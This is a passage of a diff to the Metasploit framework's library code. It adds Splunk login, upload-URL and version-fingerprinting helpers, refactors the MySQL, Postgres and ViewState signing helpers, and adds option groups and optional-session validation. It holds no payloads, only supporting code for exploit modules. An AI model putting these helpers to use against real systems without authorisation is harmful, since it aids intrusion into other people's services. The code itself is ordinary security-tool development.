||||
def splunk_url_login
|
||||
normalize_uri(target_uri.path, 'en-US', 'account', 'login')
|
||||
end
|
||||
|
||||
# Returns the Splunk URL for the user's page
|
||||
#
|
||||
# @param username [String] username of the account
|
||||
# @return [String] Splunk user URL
|
||||
def splunk_user_page(username = nil)
|
||||
username = datastore['USERNAME'] if username.nil?
|
||||
normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'authentication', 'users', username)
|
||||
end
|
||||
|
||||
# Returns the URL for splunk home page
|
||||
#
|
||||
# @return [String] Splunk home page URL
|
||||
def splunk_home
|
||||
normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home')
|
||||
end
|
||||
|
||||
# Returns the URL for splunk upload page
|
||||
#
|
||||
# @return [String] Splunk upload page URL
|
||||
def splunk_upload_url
|
||||
normalize_uri(target_uri.path, 'en-US', 'manager', 'appinstall', '_upload')
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,56 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# Module to get version of splunk app
|
||||
module Msf::Exploit::Remote::HTTP::Splunk::Version
|
||||
# Extracts the Splunk version information using authenticated cookie if available
|
||||
#
|
||||
# @param cookie_string [String] Valid cookie if available
|
||||
# @return [String, nil] Splunk version if found, nil otherwise
|
||||
def splunk_version(cookie_string = nil)
|
||||
version = splunk_version_authenticated(cookie_string) if !cookie_string.nil?
|
||||
return version if version
|
||||
|
||||
version = splunk_login_version
|
||||
return version if version
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Extracts splunk version from splunk user page using valid cookie
|
||||
#
|
||||
# @param cookie_string [String] Valid cookie
|
||||
# @return [String] Splunk version
|
||||
def splunk_version_authenticated(cookie_string)
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_user_page,
|
||||
'vars_get' => {
|
||||
'output_mode' => 'json'
|
||||
},
|
||||
'headers' => {
|
||||
'Cookie' => cookie_string
|
||||
}
|
||||
})
|
||||
|
||||
return nil unless res&.code == 200
|
||||
|
||||
body = res.get_json_document
|
||||
body.dig('generator', 'version')
|
||||
end
|
||||
|
||||
# Tries to extract splunk verion from login page
|
||||
#
|
||||
# @return [String, nil] Splunk version if found, otherwise nil
|
||||
def splunk_login_version
|
||||
res = send_request_cgi({
|
||||
'uri' => splunk_url_login,
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res
|
||||
match = res.body.match(/Splunk \d+\.\d+\.\d+/)
|
||||
return match[0].split[1] if match
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -51,14 +51,24 @@ module Msf
|
||||
|
||||
def generate_rex_tables(entry, format)
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => entry[:dn][0].split(',').join(' '),
|
||||
'Header' => entry[:dn].first,
|
||||
'Indent' => 1,
|
||||
'Columns' => %w[Name Attributes]
|
||||
'Columns' => %w[Name Attributes],
|
||||
'ColProps' => { 'Name' => { 'Strip' => false } },
|
||||
'SortIndex' => -1,
|
||||
'WordWrap' => false
|
||||
)
|
||||
|
||||
entry.each_key do |attr|
|
||||
entry.keys.sort.each do |attr|
|
||||
if format == 'table'
|
||||
tbl << [attr, entry[attr].join(' || ')] unless attr == :dn # Skip over DN entries for tables since DN information is shown in header.
|
||||
next if attr == :dn # Skip over DN entries for tables since DN information is shown in header.
|
||||
|
||||
tbl << [attr, entry[attr].first]
|
||||
if entry[attr].length > 1
|
||||
entry[attr][1...].each do |additional_attr|
|
||||
tbl << [ ' \\_', additional_attr]
|
||||
end
|
||||
end
|
||||
else
|
||||
tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in.
|
||||
end
|
||||
@@ -325,4 +335,4 @@ module Msf
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -76,6 +76,13 @@ module Msf
|
||||
#
|
||||
def start_service
|
||||
comm = _determine_server_comm(bindhost)
|
||||
auth_handler = Rex::Proto::LDAP::Auth.new(
|
||||
datastore['CHALLENGE'],
|
||||
datastore['Domain'],
|
||||
datastore['Server'],
|
||||
datastore['DnsName'],
|
||||
datastore['DnsDomain']
|
||||
)
|
||||
self.service = Rex::ServiceManager.start(
|
||||
Rex::Proto::LDAP::Server,
|
||||
bindhost,
|
||||
@@ -84,6 +91,7 @@ module Msf
|
||||
datastore['LdapServerTcp'],
|
||||
read_ldif,
|
||||
comm,
|
||||
auth_handler,
|
||||
{ 'Msf' => framework, 'MsfExploit' => self }
|
||||
)
|
||||
|
||||
|
||||
@@ -205,7 +205,7 @@ module Exploit::Remote::MSSQL
|
||||
# Issue a SQL query using the TDS protocol
|
||||
#
|
||||
def mssql_query(sqla, doprint=false, opts={})
|
||||
@mssql_client.mssql_query(sqla, doprint, opts)
|
||||
@mssql_client.query(sqla, doprint, opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
###
|
||||
|
||||
|
||||
require 'mysql'
|
||||
require 'rex/proto/mysql/client'
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::MYSQL
|
||||
@@ -20,7 +20,7 @@ module Exploit::Remote::MYSQL
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
# @!attribute [rw] mysql_conn
|
||||
# @return [::Mysql]
|
||||
# @return [::Rex::Proto::MySQL::Client]
|
||||
attr_accessor :mysql_conn
|
||||
|
||||
def initialize(info = {})
|
||||
@@ -38,39 +38,41 @@ module Exploit::Remote::MYSQL
|
||||
|
||||
def mysql_login(user='root', pass='', db=nil)
|
||||
disconnect if sock
|
||||
connect
|
||||
self.sock = connect
|
||||
|
||||
begin
|
||||
self.mysql_conn = ::Mysql.connect(rhost, user, pass, db, rport, io: sock)
|
||||
self.mysql_conn = ::Rex::Proto::MySQL::Client.connect(rhost, user, pass, db, rport, io: self.sock)
|
||||
# Deprecating this in favor off `mysql_conn`
|
||||
@mysql_handle = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :mysql_conn, :@mysql_handle, ActiveSupport::Deprecation.new)
|
||||
|
||||
rescue Errno::ECONNREFUSED
|
||||
print_error("Connection refused")
|
||||
return false
|
||||
rescue ::Mysql::ClientError
|
||||
rescue ::Rex::Proto::MySQL::Client::ClientError
|
||||
print_error("Connection timedout")
|
||||
return false
|
||||
rescue Errno::ETIMEDOUT
|
||||
print_error("Operation timedout")
|
||||
return false
|
||||
rescue ::Mysql::HostNotPrivileged
|
||||
rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged
|
||||
print_error("Unable to login from this host due to policy")
|
||||
return false
|
||||
rescue ::Mysql::AccessDeniedError
|
||||
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
|
||||
print_error("Access denied")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_good "#{mysql_conn.host}:#{mysql_conn.port} MySQL - Logged in to '#{db}' with '#{user}':'#{pass}'"
|
||||
vprint_good "#{mysql_conn.peerhost}:#{mysql_conn.peerport} MySQL - Logged in to '#{db}' with '#{user}':'#{pass}'"
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
def mysql_logoff
|
||||
temp_rhost = mysql_conn.peerhost if mysql_conn
|
||||
temp_rport = mysql_conn.peerport if mysql_conn
|
||||
mysql_conn.close if mysql_conn
|
||||
disconnect if sock
|
||||
vprint_status "#{rhost}:#{rport} MySQL - Disconnected"
|
||||
vprint_status "#{temp_rhost || rhost}:#{temp_rport || rport} MySQL - Disconnected"
|
||||
end
|
||||
|
||||
def mysql_login_datastore
|
||||
@@ -87,7 +89,7 @@ module Exploit::Remote::MYSQL
|
||||
def mysql_query(sql)
|
||||
begin
|
||||
res = mysql_conn.query(sql)
|
||||
rescue ::Mysql::Error => e
|
||||
rescue ::Rex::Proto::MySQL::Client::Error => e
|
||||
print_error("MySQL Error: #{e.class} #{e.to_s}")
|
||||
return nil
|
||||
rescue Rex::ConnectionTimeout => e
|
||||
@@ -95,7 +97,7 @@ module Exploit::Remote::MYSQL
|
||||
return nil
|
||||
end
|
||||
|
||||
vprint_status "#{mysql_conn.host}:#{mysql_conn.port} MySQL - querying with '#{sql}'"
|
||||
vprint_status "#{mysql_conn.peerhost}:#{mysql_conn.peerport} MySQL - querying with '#{sql}'"
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
@@ -94,6 +94,7 @@ module Exploit::Remote::Postgres
|
||||
password = opts[:password] || datastore['PASSWORD']
|
||||
ip = opts[:server] || datastore['RHOST']
|
||||
port = opts[:port] || datastore['RPORT']
|
||||
proxies = opts[:proxies] || datastore['Proxies']
|
||||
uri = "tcp://#{ip}:#{port}"
|
||||
|
||||
if Rex::Socket.is_ipv6?(ip)
|
||||
@@ -102,7 +103,7 @@ module Exploit::Remote::Postgres
|
||||
|
||||
verbose = opts[:verbose] || datastore['VERBOSE']
|
||||
begin
|
||||
self.postgres_conn = Connection.new(db,username,password,uri)
|
||||
self.postgres_conn = Connection.new(db,username,password,uri,proxies)
|
||||
rescue RuntimeError => e
|
||||
case e.to_s.split("\t")[1]
|
||||
when "C3D000"
|
||||
@@ -120,7 +121,7 @@ module Exploit::Remote::Postgres
|
||||
return :connection_refused
|
||||
end
|
||||
if self.postgres_conn
|
||||
print_good "#{self.postgres_conn.address}:#{self.postgres_conn.port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
|
||||
print_good "#{self.postgres_conn.peerhost}:#{self.postgres_conn.peerport} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
|
||||
return :connected
|
||||
end
|
||||
end
|
||||
@@ -129,8 +130,8 @@ module Exploit::Remote::Postgres
|
||||
#
|
||||
# @return [void]
|
||||
def postgres_logout
|
||||
ip = self.postgres_conn.address
|
||||
port = self.postgres_conn.port
|
||||
ip = self.postgres_conn.peerhost
|
||||
port = self.postgres_conn.peerport
|
||||
verbose = datastore['VERBOSE']
|
||||
|
||||
if self.postgres_conn
|
||||
@@ -157,7 +158,7 @@ module Exploit::Remote::Postgres
|
||||
|
||||
if self.postgres_conn
|
||||
sql ||= datastore['SQL']
|
||||
vprint_status "#{self.postgres_conn.address}:#{self.postgres_conn.port} Postgres - querying with '#{sql}'"
|
||||
vprint_status "#{self.postgres_conn.peerhost}:#{self.postgres_conn.peerport} Postgres - querying with '#{sql}'"
|
||||
begin
|
||||
resp = self.postgres_conn.query(sql)
|
||||
rescue RuntimeError => e
|
||||
@@ -195,7 +196,7 @@ module Exploit::Remote::Postgres
|
||||
return :error unless resp.kind_of? Connection::Result
|
||||
|
||||
if resp.rows and resp.fields
|
||||
print_status "#{postgres_conn.address}:#{postgres_conn.port} Rows Returned: #{resp.rows.size}" if verbose
|
||||
print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Rows Returned: #{resp.rows.size}" if verbose
|
||||
if resp.rows.size > 0
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Indent' => 4,
|
||||
|
||||
@@ -96,7 +96,7 @@ module Msf
|
||||
# @return (see Exploit::Remote::Tcp#connect)
|
||||
def connect(global=true, versions: [], backend: nil)
|
||||
if versions.nil? || versions.empty?
|
||||
versions = datastore['SMB::ProtocolVersion'].split(',').map(&:to_i)
|
||||
versions = datastore['SMB::ProtocolVersion'].split(',').map(&:strip).reject(&:blank?).map(&:to_i)
|
||||
# if the user explicitly set the protocol version to 1, still use ruby_smb
|
||||
backend ||= :ruby_smb if versions == [1]
|
||||
end
|
||||
|
||||
@@ -51,60 +51,29 @@ module Exploit::ViewState
|
||||
end
|
||||
|
||||
def generate_viewstate(data, extra: '', algo: 'sha1', key: '')
|
||||
# Generate ViewState HMAC from known values and validation key
|
||||
hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key)
|
||||
|
||||
# Append HMAC to provided data and Base64-encode the whole shebang
|
||||
Rex::Text.encode_base64(data + hmac)
|
||||
Rex::Exploit::ViewState.generate_viewstate(data, extra: extra, algo: algo, key: key)
|
||||
end
|
||||
|
||||
def generate_viewstate_hmac(data, algo: 'sha1', key: '')
|
||||
OpenSSL::HMAC.digest(algo, key, data)
|
||||
Rex::Exploit::ViewState.generate_viewstate_hmac(data, algo: algo, key: key)
|
||||
end
|
||||
|
||||
def decode_viewstate(encoded_viewstate, algo: 'sha1')
|
||||
viewstate = Rex::Text.decode_base64(encoded_viewstate)
|
||||
decoded = Rex::Exploit::ViewState.decode_viewstate(encoded_viewstate, algo: algo)
|
||||
|
||||
unless Rex::Text.encode_base64(viewstate) == encoded_viewstate
|
||||
vprint_error('Could not decode ViewState')
|
||||
return { data: nil, hmac: nil }
|
||||
end
|
||||
|
||||
hmac_len = generate_viewstate_hmac('', algo: algo).length
|
||||
|
||||
if (data = viewstate[0...-hmac_len]).empty?
|
||||
vprint_error('Could not parse ViewState data')
|
||||
data = nil
|
||||
end
|
||||
|
||||
unless (hmac = viewstate[-hmac_len..-1])
|
||||
vprint_error('Could not parse ViewState HMAC')
|
||||
end
|
||||
|
||||
{ data: data, hmac: hmac }
|
||||
vprint_error('Could not parse ViewState data') unless decoded[:data].present?
|
||||
vprint_error('Could not parse ViewState HMAC') unless decoded[:hmac].present?
|
||||
decoded
|
||||
rescue Rex::Exploit::ViewState::Error => error
|
||||
vprint_error("#{error.class.name}: #{error.message}")
|
||||
return { data: nil, hmac: nil }
|
||||
end
|
||||
|
||||
def can_sign_viewstate?(encoded_viewstate, extra: '', algo: 'sha1', key: '')
|
||||
viewstate = decode_viewstate(encoded_viewstate)
|
||||
|
||||
unless viewstate[:data]
|
||||
vprint_error('Could not retrieve ViewState data')
|
||||
return false
|
||||
end
|
||||
|
||||
unless (their_hmac = viewstate[:hmac])
|
||||
vprint_error('Could not retrieve ViewState HMAC')
|
||||
return false
|
||||
end
|
||||
|
||||
our_hmac = generate_viewstate_hmac(
|
||||
viewstate[:data] + extra,
|
||||
algo: algo,
|
||||
key: key
|
||||
)
|
||||
|
||||
# Do we have what it takes?
|
||||
our_hmac == their_hmac
|
||||
Rex::Exploit::ViewState.can_sign_viewstate?(encoded_viewstate, extra: extra, algo: algo, key: key)
|
||||
rescue Rex::Exploit::ViewState::Error => error
|
||||
vprint_error("#{error.class.name}: #{error.message}")
|
||||
return false
|
||||
end
|
||||
|
||||
# Extract __VIEWSTATE from HTML
|
||||
|
||||
@@ -20,7 +20,7 @@ module Msf
|
||||
MANAGER_COMMANDS = 'manager_commands'
|
||||
METASPLOIT_PAYLOAD_WARNINGS = 'metasploit_payload_warnings'
|
||||
DEFER_MODULE_LOADS = 'defer_module_loads'
|
||||
DNS_FEATURE = 'dns_feature'
|
||||
DNS = 'dns'
|
||||
HIERARCHICAL_SEARCH_TABLE = 'hierarchical_search_table'
|
||||
SMB_SESSION_TYPE = 'smb_session_type'
|
||||
POSTGRESQL_SESSION_TYPE = 'postgresql_session_type'
|
||||
@@ -91,15 +91,15 @@ module Msf
|
||||
default_value: false
|
||||
}.freeze,
|
||||
{
|
||||
name: DNS_FEATURE,
|
||||
description: 'When enabled, allows configuration of DNS resolution behaviour in Metasploit',
|
||||
requires_restart: false,
|
||||
name: DNS,
|
||||
description: 'When enabled allows configuration of DNS resolution behaviour in Metasploit',
|
||||
requires_restart: true,
|
||||
default_value: false,
|
||||
developer_notes: 'Planned for default enablement in: Metasploit 6.4.x'
|
||||
}.freeze,
|
||||
{
|
||||
name: HIERARCHICAL_SEARCH_TABLE,
|
||||
description: 'When enabled, the search table is enhanced to show details on module actions and targets',
|
||||
description: 'When enabled the search table is enhanced to show details on module actions and targets',
|
||||
requires_restart: false,
|
||||
default_value: false,
|
||||
developer_notes: 'Planned for default enablement in: Metasploit 6.4.x'
|
||||
|
||||
@@ -82,7 +82,7 @@ class Framework
|
||||
require 'msf/core/cert_provider'
|
||||
Rex::Socket::Ssl.cert_provider = Msf::Ssl::CertProvider
|
||||
|
||||
if options.include?('CustomDnsResolver') && Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DNS_FEATURE)
|
||||
if options.include?('CustomDnsResolver') && Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DNS)
|
||||
self.dns_resolver = options['CustomDnsResolver']
|
||||
self.dns_resolver.set_framework(self)
|
||||
Rex::Socket._install_global_resolver(self.dns_resolver)
|
||||
|
||||
@@ -242,41 +242,44 @@ module Msf::Module::Alert
|
||||
# with this method will not be displayed again.
|
||||
def alert_user
|
||||
self.you_have_been_warned ||= {}
|
||||
without_prompt do
|
||||
errors.each do |msg|
|
||||
if msg && !self.you_have_been_warned[msg.hash]
|
||||
print_error(msg, prefix: '')
|
||||
self.you_have_been_warned[msg.hash] = true
|
||||
end
|
||||
errors.each do |msg|
|
||||
if msg && !self.you_have_been_warned[msg.hash]
|
||||
without_prompt { print_error(msg, prefix: '') }
|
||||
self.you_have_been_warned[msg.hash] = true
|
||||
end
|
||||
end
|
||||
|
||||
warnings.each do |msg|
|
||||
if msg && !self.you_have_been_warned[msg.hash]
|
||||
print_warning(msg, prefix: '')
|
||||
self.you_have_been_warned[msg.hash] = true
|
||||
end
|
||||
warnings.each do |msg|
|
||||
if msg && !self.you_have_been_warned[msg.hash]
|
||||
without_prompt { print_warning(msg, prefix: '') }
|
||||
self.you_have_been_warned[msg.hash] = true
|
||||
end
|
||||
end
|
||||
|
||||
infos.each do |msg|
|
||||
if msg && !self.you_have_been_warned[msg.hash]
|
||||
# Make prefix an empty string to avoid adding clutter (timestamps, rhost, rport, etc.) to the output
|
||||
print_status(msg, prefix: '')
|
||||
self.you_have_been_warned[msg.hash] = true
|
||||
end
|
||||
infos.each do |msg|
|
||||
if msg && !self.you_have_been_warned[msg.hash]
|
||||
# Make prefix an empty string to avoid adding clutter (timestamps, rhost, rport, etc.) to the output
|
||||
without_prompt { print_status(msg, prefix: '') }
|
||||
self.you_have_been_warned[msg.hash] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Temporarily set the prompt mode to false to ensure that there are not additional lines printed
|
||||
# A workaround for the prompting bug spotted in https://github.com/rapid7/metasploit-framework/pull/18761#issuecomment-1916645095
|
||||
# Temporarily set the prompt mode to false to ensure that there are not additional lines printed
|
||||
# A workaround for the prompting bug spotted in https://github.com/rapid7/metasploit-framework/pull/18761#issuecomment-1916645095
|
||||
def without_prompt(&block)
|
||||
if user_output
|
||||
previous_prompting_value = user_output.prompting?
|
||||
user_output.prompting(false)
|
||||
end
|
||||
# Some user outputs cannot have their prompting value configured, i.e. WebConsolePipe
|
||||
return yield unless user_output.respond_to?(:prompting)
|
||||
|
||||
yield
|
||||
ensure
|
||||
user_output.prompting(previous_prompting_value) if user_output
|
||||
begin
|
||||
if user_output
|
||||
previous_prompting_value = user_output.prompting?
|
||||
user_output.prompting(false)
|
||||
end
|
||||
|
||||
yield
|
||||
ensure
|
||||
user_output.prompting(previous_prompting_value) if user_output
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -67,4 +67,32 @@ module Msf::Module::Options
|
||||
self.options.add_options(options, owner)
|
||||
import_defaults(false)
|
||||
end
|
||||
|
||||
# Registers a new option group, merging options by default
|
||||
#
|
||||
# @param name [String] Name for the group
|
||||
# @param description [String] Description of the group
|
||||
# @param option_names [Array<String>] List of datastore option names
|
||||
# @param required_options [Array<String>] List of required datastore option names
|
||||
# @param merge [Boolean] whether to merge or overwrite the groups option names
|
||||
def register_option_group(name:, description:, option_names: [], required_options: [], merge: true)
|
||||
existing_group = options.groups[name]
|
||||
if merge && existing_group
|
||||
existing_group.description = description
|
||||
existing_group.add_options(option_names)
|
||||
else
|
||||
option_group = Msf::OptionGroup.new(name: name,
|
||||
description: description,
|
||||
option_names: option_names,
|
||||
required_options: required_options)
|
||||
options.add_group(option_group)
|
||||
end
|
||||
end
|
||||
|
||||
# De-registers an option group by name
|
||||
#
|
||||
# @param name [String] Name for the group
|
||||
def deregister_option_group(name:)
|
||||
options.remove_group(name)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -34,6 +34,7 @@ module Msf::Modules::Metadata::Search
|
||||
reference
|
||||
references
|
||||
rport
|
||||
session_type
|
||||
stage
|
||||
stager
|
||||
target
|
||||
@@ -213,6 +214,8 @@ module Msf::Modules::Metadata::Search
|
||||
match = [keyword, search_term] if module_metadata.stager_refname =~ regex
|
||||
when 'adapter'
|
||||
match = [keyword, search_term] if module_metadata.adapter_refname =~ regex
|
||||
when 'session_type'
|
||||
match = [keyword, search_term] if module_metadata.session_types && module_metadata.session_types.any? { |session_type| session_type =~ regex }
|
||||
when 'port', 'rport'
|
||||
match = [keyword, search_term] if module_metadata.rport.to_s =~ regex
|
||||
when 'rank'
|
||||
|
||||
@@ -3,9 +3,10 @@
|
||||
module Msf
|
||||
module OptCondition
|
||||
# Check a condition's result
|
||||
# @param [Msf::Module] mod The module module
|
||||
# @param [Msf::OptBase] opt the option which has conditions present
|
||||
# @return [String]
|
||||
# @param [String] left_value The left hand side of the condition
|
||||
# @param [String] operator The conditions comparison operator
|
||||
# @param [String] right_value The right hand side of the condition
|
||||
# @return [Boolean]
|
||||
def self.eval_condition(left_value, operator, right_value)
|
||||
case operator.to_sym
|
||||
when :==
|
||||
@@ -16,6 +17,8 @@ module Msf
|
||||
right_value.include?(left_value)
|
||||
when :nin
|
||||
!right_value.include?(left_value)
|
||||
else
|
||||
raise ArgumentError("Operator: #{operator} is invalid")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -49,6 +49,7 @@ module Msf
|
||||
#
|
||||
def initialize(opts = {})
|
||||
self.sorted = []
|
||||
self.groups = {}
|
||||
|
||||
add_options(opts)
|
||||
end
|
||||
@@ -313,14 +314,33 @@ module Msf
|
||||
result.sort
|
||||
end
|
||||
|
||||
# Adds an option group to the container
|
||||
#
|
||||
# @param option_group [Msf::OptionGroup]
|
||||
def add_group(option_group)
|
||||
groups[option_group.name] = option_group
|
||||
end
|
||||
|
||||
# Removes an option group from the container by name
|
||||
#
|
||||
# @param group_name [String]
|
||||
def remove_group(group_name)
|
||||
groups.delete(group_name)
|
||||
end
|
||||
|
||||
#
|
||||
# The sorted array of options.
|
||||
#
|
||||
attr_reader :sorted
|
||||
|
||||
# @return [Hash<String, Msf::OptionGroup>]
|
||||
attr_reader :groups
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :sorted # :nodoc:
|
||||
|
||||
attr_writer :groups
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class OptionGroup
|
||||
|
||||
# @return [String] Name for the group
|
||||
attr_accessor :name
|
||||
# @return [String] Description to be displayed to the user
|
||||
attr_accessor :description
|
||||
# @return [Array<String>] List of datastore option names
|
||||
attr_accessor :option_names
|
||||
# @return [Array<String>] List of options that if present must have a value set
|
||||
attr_accessor :required_options
|
||||
|
||||
# @param name [String] Name for the group
|
||||
# @param description [String] Description to be displayed to the user
|
||||
# @param option_names [Array<String>] List of datastore option names
|
||||
# @param required_options [Array<String>] List of options that if present must have a value set
|
||||
def initialize(name:, description:, option_names: [], required_options: [])
|
||||
self.name = name
|
||||
self.description = description
|
||||
self.option_names = option_names
|
||||
self.required_options = required_options
|
||||
end
|
||||
|
||||
# @param option_name [String] Name of the datastore option to be added to the group
|
||||
def add_option(option_name)
|
||||
@option_names << option_name
|
||||
end
|
||||
|
||||
# @param option_names [Array<String>] List of datastore option names to be added to the group
|
||||
def add_options(option_names)
|
||||
@option_names.concat(option_names)
|
||||
end
|
||||
|
||||
# Validates that any registered and required options are set
|
||||
#
|
||||
# @param options [Array<Msf::OptBase>] A modules registered options
|
||||
# @param datastore [Msf::DataStore|Msf::DataStoreWithFallbacks] A modules datastore
|
||||
def validate(options, datastore)
|
||||
issues = {}
|
||||
required_options.each do |option_name|
|
||||
if options[option_name] && !datastore[option_name]
|
||||
issues[option_name] = "#{option_name} must be specified"
|
||||
end
|
||||
end
|
||||
raise Msf::OptionValidateError.new(issues.keys.to_a, reasons: issues) unless issues.empty?
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -4,63 +4,55 @@
|
||||
|
||||
# A mixin used for providing Modules with post-exploitation options and helper methods
|
||||
#
|
||||
module Msf::OptionalSession
|
||||
include Msf::SessionCompatibility
|
||||
module Msf
|
||||
module OptionalSession
|
||||
include Msf::SessionCompatibility
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
# Validates options depending on whether we are using SESSION or an RHOST for our connection
|
||||
def validate
|
||||
super
|
||||
return unless optional_session_enabled?
|
||||
|
||||
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
|
||||
register_options(
|
||||
[
|
||||
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
|
||||
Msf::Opt::RHOST(nil, false),
|
||||
Msf::Opt::RPORT(nil, false)
|
||||
]
|
||||
)
|
||||
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
|
||||
# If the session is set use that by default regardless of rhost being (un)set
|
||||
if session
|
||||
validate_session
|
||||
elsif rhost
|
||||
validate_rhost
|
||||
else
|
||||
raise Msf::OptionValidateError.new(message: 'A SESSION or RHOST must be provided')
|
||||
end
|
||||
end
|
||||
|
||||
if framework.features.enabled?(Msf::FeatureManager::MYSQL_SESSION_TYPE)
|
||||
register_options(
|
||||
[
|
||||
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
|
||||
Msf::Opt::RHOST(nil, false),
|
||||
Msf::Opt::RPORT(3306, false)
|
||||
]
|
||||
)
|
||||
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
|
||||
def session
|
||||
return nil unless optional_session_enabled?
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
if framework.features.enabled?(Msf::FeatureManager::POSTGRESQL_SESSION_TYPE)
|
||||
register_options(
|
||||
[
|
||||
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
|
||||
Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'postgres']),
|
||||
Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'postgres']),
|
||||
Msf::Opt::RHOST(nil, false),
|
||||
Msf::Opt::RPORT(5432, false)
|
||||
]
|
||||
)
|
||||
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
|
||||
protected
|
||||
|
||||
# Used to validate options when RHOST has been set
|
||||
def validate_rhost
|
||||
validate_group('RHOST')
|
||||
end
|
||||
|
||||
if framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE)
|
||||
register_options(
|
||||
[
|
||||
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
|
||||
Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'MSSQL']),
|
||||
Msf::Opt::RHOST(nil, false),
|
||||
Msf::Opt::RPORT(1433, false)
|
||||
]
|
||||
)
|
||||
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
|
||||
# Used to validate options when SESSION has been set
|
||||
def validate_session
|
||||
issues = {}
|
||||
if session_types && !session_types.include?(session.type)
|
||||
issues['SESSION'] = "Incompatible session type: #{session.type}. This module works with: #{session_types.join(', ')}."
|
||||
end
|
||||
raise Msf::OptionValidateError.new(issues.keys.to_a, reasons: issues) unless issues.empty?
|
||||
|
||||
validate_group('SESSION')
|
||||
end
|
||||
end
|
||||
|
||||
def session
|
||||
return nil unless (framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE) || framework.features.enabled?(Msf::FeatureManager::POSTGRESQL_SESSION_TYPE) || framework.features.enabled?(Msf::FeatureManager::MYSQL_SESSION_TYPE) || framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE))
|
||||
|
||||
super
|
||||
# Validates the options within an option group
|
||||
#
|
||||
# @param group_name [String] Name of the option group
|
||||
def validate_group(group_name)
|
||||
option_group = options.groups[group_name]
|
||||
option_group.validate(options, datastore) if option_group
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf
|
||||
module OptionalSession
|
||||
module MSSQL
|
||||
include Msf::OptionalSession
|
||||
|
||||
RHOST_GROUP_OPTIONS = %w[RHOSTS RPORT DATABASE USERNAME PASSWORD THREADS]
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'SessionTypes' => %w[mssql]
|
||||
)
|
||||
)
|
||||
|
||||
if optional_session_enabled?
|
||||
register_option_group(name: 'SESSION',
|
||||
description: 'Used when connecting via an existing SESSION',
|
||||
option_names: ['SESSION'])
|
||||
register_option_group(name: 'RHOST',
|
||||
description: 'Used when making a new connection via RHOSTS',
|
||||
option_names: RHOST_GROUP_OPTIONS,
|
||||
required_options: RHOST_GROUP_OPTIONS)
|
||||
register_options(
|
||||
[
|
||||
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
|
||||
Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'MSSQL']),
|
||||
Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'MSSQL']),
|
||||
Msf::Opt::RHOST(nil, false),
|
||||
Msf::Opt::RPORT(1433, false)
|
||||
]
|
||||
)
|
||||
|
||||
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
|
||||
end
|
||||
end
|
||||
|
||||
def optional_session_enabled?
|
||||
framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,43 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf
|
||||
module OptionalSession
|
||||
module MySQL
|
||||
